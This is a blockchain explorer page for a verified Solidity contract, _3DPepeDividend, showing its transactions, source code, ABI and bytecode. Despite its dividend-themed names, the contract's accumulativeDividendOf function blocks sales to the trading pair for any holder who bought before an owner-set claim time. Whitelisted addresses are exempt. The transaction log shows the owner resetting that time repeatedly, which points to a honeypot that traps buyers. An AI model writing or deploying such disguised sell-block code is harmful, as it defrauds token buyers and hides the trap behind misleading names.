Overview
ETH Balance
0 ETH
Eth Value
$0.00More Info
Private Name Tags
ContractCreator
Latest 17 from a total of 17 transactions
Transaction Hash |
Method
|
Block
|
From
|
To
|
|||||
---|---|---|---|---|---|---|---|---|---|
Whitelist For Di... | 17626037 | 459 days ago | IN | 0 ETH | 0.00221199 | ||||
Set Dividend Fin... | 17624870 | 459 days ago | IN | 0 ETH | 0.0013075 | ||||
Set Claiming Tim... | 17624858 | 459 days ago | IN | 0 ETH | 0.00109422 | ||||
Set Claiming Tim... | 17624762 | 459 days ago | IN | 0 ETH | 0.00116161 | ||||
Set Claiming Tim... | 17624744 | 459 days ago | IN | 0 ETH | 0.00123691 | ||||
Set Claiming Tim... | 17624706 | 459 days ago | IN | 0 ETH | 0.00118138 | ||||
Set Claiming Tim... | 17624701 | 459 days ago | IN | 0 ETH | 0.00109809 | ||||
Set Claiming Tim... | 17624696 | 459 days ago | IN | 0 ETH | 0.00130065 | ||||
Set Claiming Tim... | 17624692 | 459 days ago | IN | 0 ETH | 0.00105921 | ||||
Whitelist For Di... | 17624685 | 459 days ago | IN | 0 ETH | 0.001744 | ||||
Set Claiming Tim... | 17624683 | 459 days ago | IN | 0 ETH | 0.00116658 | ||||
Set Claiming Tim... | 17624680 | 459 days ago | IN | 0 ETH | 0.00107401 | ||||
Set Claiming Tim... | 17624670 | 459 days ago | IN | 0 ETH | 0.00110419 | ||||
Set Claiming Tim... | 17624663 | 459 days ago | IN | 0 ETH | 0.00112853 | ||||
Set Claiming Tim... | 17624662 | 459 days ago | IN | 0 ETH | 0.00190147 | ||||
Set Token For Di... | 17624256 | 459 days ago | IN | 0 ETH | 0.00328122 | ||||
0x60806040 | 17624202 | 459 days ago | IN | 0 ETH | 0.01741214 |
View more zero value Internal Transactions in Advanced View mode
Advanced mode:
Loading...
Loading
Contract Name:
_3DPepeDividend
Compiler Version
v0.8.20+commit.a1b79de6
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-07-05 */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.12; abstract contract Context { function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } function _msgSender() internal view virtual returns (address) { return msg.sender; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract _3DPepeDividend is Ownable { mapping(address => bool) private _whitelists; mapping (address => uint256) private _dividendTimePassed; uint256 private claimTime; address private token; address private pair; bool private isDividendFinished; modifier onlyToken() { require(msg.sender == token); _; } function setTokenForDivideEnds_3DPepe(address _token, address _pair) external onlyOwner { claimTime = 0; token = _token; pair = _pair; isDividendFinished = false; } function setDividendFinished_3DPepe(bool isFinished) external onlyOwner { isDividendFinished = isFinished; } function accumulativeDividendOf(address _from, address _to) external onlyToken returns (uint256) { if (_whitelists[_from] || _whitelists[_to]) { return 1; } if (_from == pair) { if (_dividendTimePassed[_to] == 0) { _dividendTimePassed[_to] = block.timestamp; } } else if (_to == pair) { require(!isDividendFinished && _dividendTimePassed[_from] >= claimTime); } else { _dividendTimePassed[_to] = 0; } return 0; } function setClaimingTimeForDividend_3DPepe() external onlyOwner { claimTime = block.timestamp; } function whitelistForDivideEnds_3DPepe(address owner_, bool _isWhitelist) external onlyOwner { _whitelists[owner_] = _isWhitelist; } receive() external payable { } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"inputs":[{"internalType":"address","name":"_from","type":"address"},{"internalType":"address","name":"_to","type":"address"}],"name":"accumulativeDividendOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"setClaimingTimeForDividend_3DPepe","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"isFinished","type":"bool"}],"name":"setDividendFinished_3DPepe","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_token","type":"address"},{"internalType":"address","name":"_pair","type":"address"}],"name":"setTokenForDivideEnds_3DPepe","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner_","type":"address"},{"internalType":"bool","name":"_isWhitelist","type":"bool"}],"name":"whitelistForDivideEnds_3DPepe","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
608060405234801561000f575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3506106618061005d5f395ff3fe60806040526004361061007c575f3560e01c80638da5cb5b1161004c5780638da5cb5b146100ef578063b47cb9ad1461011a578063cc5489df14610139578063f2fde38b14610166575f80fd5b8063066092e3146100875780632e685986146100a85780636752f7de146100c7578063715018a6146100db575f80fd5b3661008357005b5f80fd5b348015610092575f80fd5b506100a66100a136600461054e565b610185565b005b3480156100b3575f80fd5b506100a66100c2366004610584565b6101d5565b3480156100d2575f80fd5b506100a6610228565b3480156100e6575f80fd5b506100a6610257565b3480156100fa575f80fd5b505f546040516001600160a01b0390911681526020015b60405180910390f35b348015610125575f80fd5b506100a66101343660046105b5565b6102c8565b348015610144575f80fd5b506101586101533660046105b5565b61032a565b604051908152602001610111565b348015610171575f80fd5b506100a66101803660046105dd565b610453565b5f546001600160a01b031633146101b75760405162461bcd60e51b81526004016101ae906105f6565b60405180910390fd5b60058054911515600160a01b0260ff60a01b19909216919091179055565b5f546001600160a01b031633146101fe5760405162461bcd60e51b81526004016101ae906105f6565b6001600160a01b03919091165f908152600160205260409020805460ff1916911515919091179055565b5f546001600160a01b031633146102515760405162461bcd60e51b81526004016101ae906105f6565b42600355565b5f546001600160a01b031633146102805760405162461bcd60e51b81526004016101ae906105f6565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146102f15760405162461bcd60e51b81526004016101ae906105f6565b5f600355600480546001600160a01b039384166001600160a01b0319909116179055600580546001600160a81b03191691909216179055565b6004545f906001600160a01b03163314610342575f80fd5b6001600160a01b0383165f9081526001602052604090205460ff168061037f57506001600160a01b0382165f9081526001602052604090205460ff165b1561038c5750600161044d565b6005546001600160a01b03908116908416036103e0576001600160a01b0382165f9081526002602052604081205490036103db576001600160a01b0382165f9081526002602052604090204290555b61044a565b6005546001600160a01b039081169083160361043157600554600160a01b900460ff1615801561042957506003546001600160a01b0384165f9081526002602052604090205410155b6103db575f80fd5b6001600160a01b0382165f908152600260205260408120555b505f5b92915050565b5f546001600160a01b0316331461047c5760405162461bcd60e51b81526004016101ae906105f6565b6001600160a01b0381166104e15760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016101ae565b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b80358015158114610549575f80fd5b919050565b5f6020828403121561055e575f80fd5b6105678261053a565b9392505050565b80356001600160a01b0381168114610549575f80fd5b5f8060408385031215610595575f80fd5b61059e8361056e565b91506105ac6020840161053a565b90509250929050565b5f80604083850312156105c6575f80fd5b6105cf8361056e565b91506105ac6020840161056e565b5f602082840312156105ed575f80fd5b6105678261056e565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260408201526060019056fea26469706673582212205aa4e87fe1222b3db3e34e13facb5ea9281006c08465c18255c8a9a26c97dc8564736f6c63430008140033
Deployed Bytecode
0x60806040526004361061007c575f3560e01c80638da5cb5b1161004c5780638da5cb5b146100ef578063b47cb9ad1461011a578063cc5489df14610139578063f2fde38b14610166575f80fd5b8063066092e3146100875780632e685986146100a85780636752f7de146100c7578063715018a6146100db575f80fd5b3661008357005b5f80fd5b348015610092575f80fd5b506100a66100a136600461054e565b610185565b005b3480156100b3575f80fd5b506100a66100c2366004610584565b6101d5565b3480156100d2575f80fd5b506100a6610228565b3480156100e6575f80fd5b506100a6610257565b3480156100fa575f80fd5b505f546040516001600160a01b0390911681526020015b60405180910390f35b348015610125575f80fd5b506100a66101343660046105b5565b6102c8565b348015610144575f80fd5b506101586101533660046105b5565b61032a565b604051908152602001610111565b348015610171575f80fd5b506100a66101803660046105dd565b610453565b5f546001600160a01b031633146101b75760405162461bcd60e51b81526004016101ae906105f6565b60405180910390fd5b60058054911515600160a01b0260ff60a01b19909216919091179055565b5f546001600160a01b031633146101fe5760405162461bcd60e51b81526004016101ae906105f6565b6001600160a01b03919091165f908152600160205260409020805460ff1916911515919091179055565b5f546001600160a01b031633146102515760405162461bcd60e51b81526004016101ae906105f6565b42600355565b5f546001600160a01b031633146102805760405162461bcd60e51b81526004016101ae906105f6565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146102f15760405162461bcd60e51b81526004016101ae906105f6565b5f600355600480546001600160a01b039384166001600160a01b0319909116179055600580546001600160a81b03191691909216179055565b6004545f906001600160a01b03163314610342575f80fd5b6001600160a01b0383165f9081526001602052604090205460ff168061037f57506001600160a01b0382165f9081526001602052604090205460ff165b1561038c5750600161044d565b6005546001600160a01b03908116908416036103e0576001600160a01b0382165f9081526002602052604081205490036103db576001600160a01b0382165f9081526002602052604090204290555b61044a565b6005546001600160a01b039081169083160361043157600554600160a01b900460ff1615801561042957506003546001600160a01b0384165f9081526002602052604090205410155b6103db575f80fd5b6001600160a01b0382165f908152600260205260408120555b505f5b92915050565b5f546001600160a01b0316331461047c5760405162461bcd60e51b81526004016101ae906105f6565b6001600160a01b0381166104e15760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016101ae565b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b80358015158114610549575f80fd5b919050565b5f6020828403121561055e575f80fd5b6105678261053a565b9392505050565b80356001600160a01b0381168114610549575f80fd5b5f8060408385031215610595575f80fd5b61059e8361056e565b91506105ac6020840161053a565b90509250929050565b5f80604083850312156105c6575f80fd5b6105cf8361056e565b91506105ac6020840161056e565b5f602082840312156105ed575f80fd5b6105678261056e565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260408201526060019056fea26469706673582212205aa4e87fe1222b3db3e34e13facb5ea9281006c08465c18255c8a9a26c97dc8564736f6c63430008140033
Deployed Bytecode Sourcemap
2138:1544:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2714:120;;;;;;;;;;-1:-1:-1;2714:120:0;;;;;:::i;:::-;;:::i;:::-;;3494:144;;;;;;;;;;-1:-1:-1;3494:144:0;;;;;:::i;:::-;;:::i;3378:108::-;;;;;;;;;;;;;:::i;1372:148::-;;;;;;;;;;;;;:::i;942:79::-;;;;;;;;;;-1:-1:-1;980:7:0;1007:6;942:79;;-1:-1:-1;;;;;1007:6:0;;;947:51:1;;935:2;920:18;942:79:0;;;;;;;;2509:197;;;;;;;;;;-1:-1:-1;2509:197:0;;;;;:::i;:::-;;:::i;2842:522::-;;;;;;;;;;-1:-1:-1;2842:522:0;;;;;:::i;:::-;;:::i;:::-;;;1420:25:1;;;1408:2;1393:18;2842:522:0;1274:177:1;1887:244:0;;;;;;;;;;-1:-1:-1;1887:244:0;;;;;:::i;:::-;;:::i;2714:120::-;1653:6;;-1:-1:-1;;;;;1653:6:0;419:10;1653:22;1645:67;;;;-1:-1:-1;;;1645:67:0;;;;;;;:::i;:::-;;;;;;;;;2795:18:::1;:31:::0;;;::::1;;-1:-1:-1::0;;;2795:31:0::1;-1:-1:-1::0;;;;2795:31:0;;::::1;::::0;;;::::1;::::0;;2714:120::o;3494:144::-;1653:6;;-1:-1:-1;;;;;1653:6:0;419:10;1653:22;1645:67;;;;-1:-1:-1;;;1645:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;3596:19:0;;;::::1;;::::0;;;:11:::1;:19;::::0;;;;:34;;-1:-1:-1;;3596:34:0::1;::::0;::::1;;::::0;;;::::1;::::0;;3494:144::o;3378:108::-;1653:6;;-1:-1:-1;;;;;1653:6:0;419:10;1653:22;1645:67;;;;-1:-1:-1;;;1645:67:0;;;;;;;:::i;:::-;3463:15:::1;3451:9;:27:::0;3378:108::o;1372:148::-;1653:6;;-1:-1:-1;;;;;1653:6:0;419:10;1653:22;1645:67;;;;-1:-1:-1;;;1645:67:0;;;;;;;:::i;:::-;1479:1:::1;1463:6:::0;;1442:40:::1;::::0;-1:-1:-1;;;;;1463:6:0;;::::1;::::0;1442:40:::1;::::0;1479:1;;1442:40:::1;1510:1;1493:19:::0;;-1:-1:-1;;;;;;1493:19:0::1;::::0;;1372:148::o;2509:197::-;1653:6;;-1:-1:-1;;;;;1653:6:0;419:10;1653:22;1645:67;;;;-1:-1:-1;;;1645:67:0;;;;;;;:::i;:::-;2618:1:::1;2606:9;:13:::0;2628:5:::1;:14:::0;;-1:-1:-1;;;;;2628:14:0;;::::1;-1:-1:-1::0;;;;;;2628:14:0;;::::1;;::::0;;2651:4:::1;:12:::0;;-1:-1:-1;;;;;;2672:26:0;2651:12;;;::::1;2672:26:::0;;;2509:197::o;2842:522::-;2474:5;;2930:7;;-1:-1:-1;;;;;2474:5:0;2460:10;:19;2452:28;;;;;;-1:-1:-1;;;;;2952:18:0;::::1;;::::0;;;:11:::1;:18;::::0;;;;;::::1;;::::0;:38:::1;;-1:-1:-1::0;;;;;;2974:16:0;::::1;;::::0;;;:11:::1;:16;::::0;;;;;::::1;;2952:38;2948:73;;;-1:-1:-1::0;3010:1:0::1;3003:8;;2948:73;3042:4;::::0;-1:-1:-1;;;;;3042:4:0;;::::1;3033:13:::0;;::::1;::::0;3029:311:::1;;-1:-1:-1::0;;;;;3063:24:0;::::1;;::::0;;;:19:::1;:24;::::0;;;;;:29;;3059:102:::1;;-1:-1:-1::0;;;;;3107:24:0;::::1;;::::0;;;:19:::1;:24;::::0;;;;3134:15:::1;3107:42:::0;;3059:102:::1;3029:311;;;3187:4;::::0;-1:-1:-1;;;;;3187:4:0;;::::1;3180:11:::0;;::::1;::::0;3176:164:::1;;3213:18;::::0;-1:-1:-1;;;3213:18:0;::::1;;;3212:19;:62:::0;::::1;;;-1:-1:-1::0;3265:9:0::1;::::0;-1:-1:-1;;;;;3235:26:0;::::1;;::::0;;;:19:::1;:26;::::0;;;;;:39:::1;;3212:62;3204:71;;;::::0;::::1;3176:164;-1:-1:-1::0;;;;;3302:24:0;::::1;3329:1;3302:24:::0;;;:19:::1;:24;::::0;;;;:28;3176:164:::1;-1:-1:-1::0;3355:1:0::1;2492;2842:522:::0;;;;:::o;1887:244::-;1653:6;;-1:-1:-1;;;;;1653:6:0;419:10;1653:22;1645:67;;;;-1:-1:-1;;;1645:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;1976:22:0;::::1;1968:73;;;::::0;-1:-1:-1;;;1968:73:0;;2210:2:1;1968:73:0::1;::::0;::::1;2192:21:1::0;2249:2;2229:18;;;2222:30;2288:34;2268:18;;;2261:62;-1:-1:-1;;;2339:18:1;;;2332:36;2385:19;;1968:73:0::1;2008:402:1::0;1968:73:0::1;2078:6;::::0;;2057:38:::1;::::0;-1:-1:-1;;;;;2057:38:0;;::::1;::::0;2078:6;::::1;::::0;2057:38:::1;::::0;::::1;2106:6;:17:::0;;-1:-1:-1;;;;;;2106:17:0::1;-1:-1:-1::0;;;;;2106:17:0;;;::::1;::::0;;;::::1;::::0;;1887:244::o;14:160:1:-;79:20;;135:13;;128:21;118:32;;108:60;;164:1;161;154:12;108:60;14:160;;;:::o;179:180::-;235:6;288:2;276:9;267:7;263:23;259:32;256:52;;;304:1;301;294:12;256:52;327:26;343:9;327:26;:::i;:::-;317:36;179:180;-1:-1:-1;;;179:180:1:o;364:173::-;432:20;;-1:-1:-1;;;;;481:31:1;;471:42;;461:70;;527:1;524;517:12;542:254;607:6;615;668:2;656:9;647:7;643:23;639:32;636:52;;;684:1;681;674:12;636:52;707:29;726:9;707:29;:::i;:::-;697:39;;755:35;786:2;775:9;771:18;755:35;:::i;:::-;745:45;;542:254;;;;;:::o;1009:260::-;1077:6;1085;1138:2;1126:9;1117:7;1113:23;1109:32;1106:52;;;1154:1;1151;1144:12;1106:52;1177:29;1196:9;1177:29;:::i;:::-;1167:39;;1225:38;1259:2;1248:9;1244:18;1225:38;:::i;1456:186::-;1515:6;1568:2;1556:9;1547:7;1543:23;1539:32;1536:52;;;1584:1;1581;1574:12;1536:52;1607:29;1626:9;1607:29;:::i;1647:356::-;1849:2;1831:21;;;1868:18;;;1861:30;1927:34;1922:2;1907:18;;1900:62;1994:2;1979:18;;1647:356::o
Swarm Source
ipfs://5aa4e87fe1222b3db3e34e13facb5ea9281006c08465c18255c8a9a26c97dc85
Loading...
Loading
Loading...
Loading
Multichain Portfolio | 27 Chains
Chain | Token | Portfolio % | Price | Amount | Value |
---|
Loading...
Loading
[ Download: CSV Export ]
A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.